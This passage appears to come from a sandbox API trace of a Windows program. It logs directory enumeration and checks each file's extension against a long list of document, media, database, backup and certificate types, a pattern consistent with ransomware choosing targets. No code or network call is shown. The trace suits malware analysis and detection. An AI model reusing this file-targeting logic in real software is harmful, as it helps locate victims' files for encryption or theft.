ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0079.274] FindClose (in: hFindFile=0x45a120 | out: hFindFile=0x45a120) returned 1 [0079.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0079.274] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0079.274] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0079.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0079.274] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0081.193] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.193] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0081.193] lstrlenW (lpString="eula.rtf") returned 8 [0081.193] lstrlenW (lpString=".1cd") returned 4 [0081.193] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.193] lstrlenW (lpString=".3ds") returned 4 [0081.193] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0081.193] lstrlenW (lpString=".3fr") returned 4 [0081.193] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0081.193] lstrlenW (lpString=".3g2") returned 4 [0081.193] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0081.193] lstrlenW (lpString=".3gp") returned 4 [0081.193] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0081.193] lstrlenW (lpString=".7z") returned 3 [0081.193] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.193] lstrlenW (lpString=".accda") returned 6 [0081.193] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0081.193] lstrlenW (lpString=".accdb") returned 6 [0081.194] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0081.194] lstrlenW (lpString=".accdc") returned 6 [0081.194] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0081.194] lstrlenW (lpString=".accde") returned 6 [0081.194] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0081.194] lstrlenW (lpString=".accdt") returned 6 [0081.194] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0081.194] lstrlenW (lpString=".accdw") returned 6 [0081.194] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0081.194] lstrlenW (lpString=".adb") returned 4 [0081.194] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0081.194] lstrlenW (lpString=".adp") returned 4 [0081.194] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0081.194] lstrlenW (lpString=".ai") returned 3 [0081.194] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0081.194] lstrlenW (lpString=".ai3") returned 4 [0081.194] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0081.194] lstrlenW (lpString=".ai4") returned 4 [0081.194] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0081.194] lstrlenW (lpString=".ai5") returned 4 [0081.194] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0081.194] lstrlenW (lpString=".ai6") returned 4 [0081.194] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0081.194] lstrlenW (lpString=".ai7") returned 4 [0081.194] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".ai8") returned 4 [0081.195] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".anim") returned 5 [0081.195] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0081.195] lstrlenW (lpString=".arw") returned 4 [0081.195] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".as") returned 3 [0081.195] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0081.195] lstrlenW (lpString=".asa") returned 4 [0081.195] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".asc") returned 4 [0081.195] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".ascx") returned 5 [0081.195] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0081.195] lstrlenW (lpString=".asm") returned 4 [0081.195] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".asmx") returned 5 [0081.195] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0081.195] lstrlenW (lpString=".asp") returned 4 [0081.195] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".aspx") returned 5 [0081.195] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0081.195] lstrlenW (lpString=".asr") returned 4 [0081.195] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0081.195] lstrlenW (lpString=".asx") returned 4 [0081.195] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".avi") returned 4 [0081.196] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".avs") returned 4 [0081.196] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".backup") returned 7 [0081.196] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0081.196] lstrlenW (lpString=".bak") returned 4 [0081.196] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".bay") returned 4 [0081.196] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".bd") returned 3 [0081.196] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0081.196] lstrlenW (lpString=".bin") returned 4 [0081.196] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".bmp") returned 4 [0081.196] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".bz2") returned 4 [0081.196] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".c") returned 2 [0081.196] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0081.196] lstrlenW (lpString=".cdr") returned 4 [0081.196] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".cer") returned 4 [0081.196] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0081.196] lstrlenW (lpString=".cf") returned 3 [0081.196] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0081.197] lstrlenW (lpString=".cfc") returned 4 [0081.197] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".cfm") returned 4 [0081.197] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".cfml") returned 5 [0081.197] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0081.197] lstrlenW (lpString=".cfu") returned 4 [0081.197] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".chm") returned 4 [0081.197] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".cin") returned 4 [0081.197] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".class") returned 6 [0081.197] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0081.197] lstrlenW (lpString=".clx") returned 4 [0081.197] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".config") returned 7 [0081.197] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0081.197] lstrlenW (lpString=".cpp") returned 4 [0081.197] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".cr2") returned 4 [0081.197] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".crt") returned 4 [0081.197] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".crw") returned 4 [0081.197] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0081.197] lstrlenW (lpString=".cs") returned 3 [0081.198] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0081.198] lstrlenW (lpString=".css") returned 4 [0081.198] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".csv") returned 4 [0081.198] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".cub") returned 4 [0081.198] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dae") returned 4 [0081.198] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dat") returned 4 [0081.198] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".db") returned 3 [0081.198] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0081.198] lstrlenW (lpString=".dbf") returned 4 [0081.198] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dbx") returned 4 [0081.198] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dc3") returned 4 [0081.198] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dcm") returned 4 [0081.198] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dcr") returned 4 [0081.198] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".der") returned 4 [0081.198] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0081.198] lstrlenW (lpString=".dib") returned 4 [0081.199] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".dic") returned 4 [0081.199] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".dif") returned 4 [0081.199] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".divx") returned 5 [0081.199] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0081.199] lstrlenW (lpString=".djvu") returned 5 [0081.199] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0081.199] lstrlenW (lpString=".dng") returned 4 [0081.199] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".doc") returned 4 [0081.199] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".docm") returned 5 [0081.199] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0081.199] lstrlenW (lpString=".docx") returned 5 [0081.199] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.199] lstrlenW (lpString=".dot") returned 4 [0081.199] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".dotm") returned 5 [0081.199] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0081.199] lstrlenW (lpString=".dotx") returned 5 [0081.199] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0081.199] lstrlenW (lpString=".dpx") returned 4 [0081.199] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0081.199] lstrlenW (lpString=".dqy") returned 4 [0081.199] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0081.200] lstrlenW (lpString=".dsn") returned 4 [0081.200] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0081.200] lstrlenW (lpString=".dt") returned 3 [0081.200] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0081.200] lstrlenW (lpString=".dtd") returned 4 [0081.200] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0081.200] lstrlenW (lpString=".dwg") returned 4 [0081.200] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0081.200] lstrlenW (lpString=".dwt") returned 4 [0081.200] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0081.200] lstrlenW (lpString=".dx") returned 3 [0081.200] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0081.200] lstrlenW (lpString=".dxf") returned 4 [0081.200] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0081.200] lstrlenW (lpString=".edml") returned 5 [0081.200] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0081.200] lstrlenW (lpString=".efd") returned 4 [0081.200] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".elf") returned 4 [0081.201] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".emf") returned 4 [0081.201] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".emz") returned 4 [0081.201] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".epf") returned 4 [0081.201] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".eps") returned 4 [0081.201] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".epsf") returned 5 [0081.201] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0081.201] lstrlenW (lpString=".epsp") returned 5 [0081.201] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0081.201] lstrlenW (lpString=".erf") returned 4 [0081.201] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".exr") returned 4 [0081.201] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".f4v") returned 4 [0081.201] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".fido") returned 5 [0081.201] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0081.201] lstrlenW (lpString=".flm") returned 4 [0081.201] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0081.201] lstrlenW (lpString=".flv") returned 4 [0081.202] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".frm") returned 4 [0081.202] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".fxg") returned 4 [0081.202] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".geo") returned 4 [0081.202] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".gif") returned 4 [0081.202] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".grs") returned 4 [0081.202] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".gz") returned 3 [0081.202] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0081.202] lstrlenW (lpString=".h") returned 2 [0081.202] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0081.202] lstrlenW (lpString=".hdr") returned 4 [0081.202] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".hpp") returned 4 [0081.202] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".hta") returned 4 [0081.202] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".htc") returned 4 [0081.202] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".htm") returned 4 [0081.202] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0081.202] lstrlenW (lpString=".html") returned 5 [0081.202] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0081.203] lstrlenW (lpString=".icb") returned 4 [0081.203] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".ics") returned 4 [0081.203] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".iff") returned 4 [0081.203] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".inc") returned 4 [0081.203] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".indd") returned 5 [0081.203] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0081.203] lstrlenW (lpString=".ini") returned 4 [0081.203] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".iqy") returned 4 [0081.203] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".j2c") returned 4 [0081.203] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".j2k") returned 4 [0081.203] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".java") returned 5 [0081.203] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0081.203] lstrlenW (lpString=".jp2") returned 4 [0081.203] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".jpc") returned 4 [0081.203] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0081.203] lstrlenW (lpString=".jpe") returned 4 [0081.203] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".jpeg") returned 5 [0081.204] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0081.204] lstrlenW (lpString=".jpf") returned 4 [0081.204] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".jpg") returned 4 [0081.204] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".jpx") returned 4 [0081.204] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".js") returned 3 [0081.204] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0081.204] lstrlenW (lpString=".jsf") returned 4 [0081.204] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".json") returned 5 [0081.204] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0081.204] lstrlenW (lpString=".jsp") returned 4 [0081.204] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".kdc") returned 4 [0081.204] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".kmz") returned 4 [0081.204] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".kwm") returned 4 [0081.204] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0081.204] lstrlenW (lpString=".lasso") returned 6 [0081.204] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0081.204] lstrlenW (lpString=".lbi") returned 4 [0081.204] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".lgf") returned 4 [0081.205] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".lgp") returned 4 [0081.205] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".log") returned 4 [0081.205] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".m1v") returned 4 [0081.205] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".m4a") returned 4 [0081.205] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".m4v") returned 4 [0081.205] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".max") returned 4 [0081.205] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".md") returned 3 [0081.205] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0081.205] lstrlenW (lpString=".mda") returned 4 [0081.205] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".mdb") returned 4 [0081.205] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".mde") returned 4 [0081.205] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".mdf") returned 4 [0081.205] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".mdw") returned 4 [0081.205] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0081.205] lstrlenW (lpString=".mef") returned 4 [0081.206] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mft") returned 4 [0081.206] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mfw") returned 4 [0081.206] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mht") returned 4 [0081.206] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mhtml") returned 6 [0081.206] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0081.206] lstrlenW (lpString=".mka") returned 4 [0081.206] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mkidx") returned 6 [0081.206] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0081.206] lstrlenW (lpString=".mkv") returned 4 [0081.206] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mos") returned 4 [0081.206] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mov") returned 4 [0081.206] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mp3") returned 4 [0081.206] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mp4") returned 4 [0081.206] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0081.206] lstrlenW (lpString=".mpeg") returned 5 [0081.206] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0081.206] lstrlenW (lpString=".mpg") returned 4 [0081.207] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".mpv") returned 4 [0081.207] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".mrw") returned 4 [0081.207] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".msg") returned 4 [0081.207] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".mxl") returned 4 [0081.207] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".myd") returned 4 [0081.207] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".myi") returned 4 [0081.207] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".nef") returned 4 [0081.207] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".nrw") returned 4 [0081.207] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".obj") returned 4 [0081.207] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".odb") returned 4 [0081.207] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".odc") returned 4 [0081.207] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".odm") returned 4 [0081.207] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0081.207] lstrlenW (lpString=".odp") returned 4 [0081.208] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".ods") returned 4 [0081.208] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".oft") returned 4 [0081.208] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".one") returned 4 [0081.208] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".onepkg") returned 7 [0081.208] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0081.208] lstrlenW (lpString=".onetoc2") returned 8 [0081.208] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0081.208] lstrlenW (lpString=".opt") returned 4 [0081.208] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".oqy") returned 4 [0081.208] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".orf") returned 4 [0081.208] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".p12") returned 4 [0081.208] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".p7b") returned 4 [0081.208] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".p7c") returned 4 [0081.208] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".pam") returned 4 [0081.208] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0081.208] lstrlenW (lpString=".pbm") returned 4 [0081.208] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pct") returned 4 [0081.209] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0081.209] lstrlenW (lpString=".pcx") returned 4 [0081.209] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 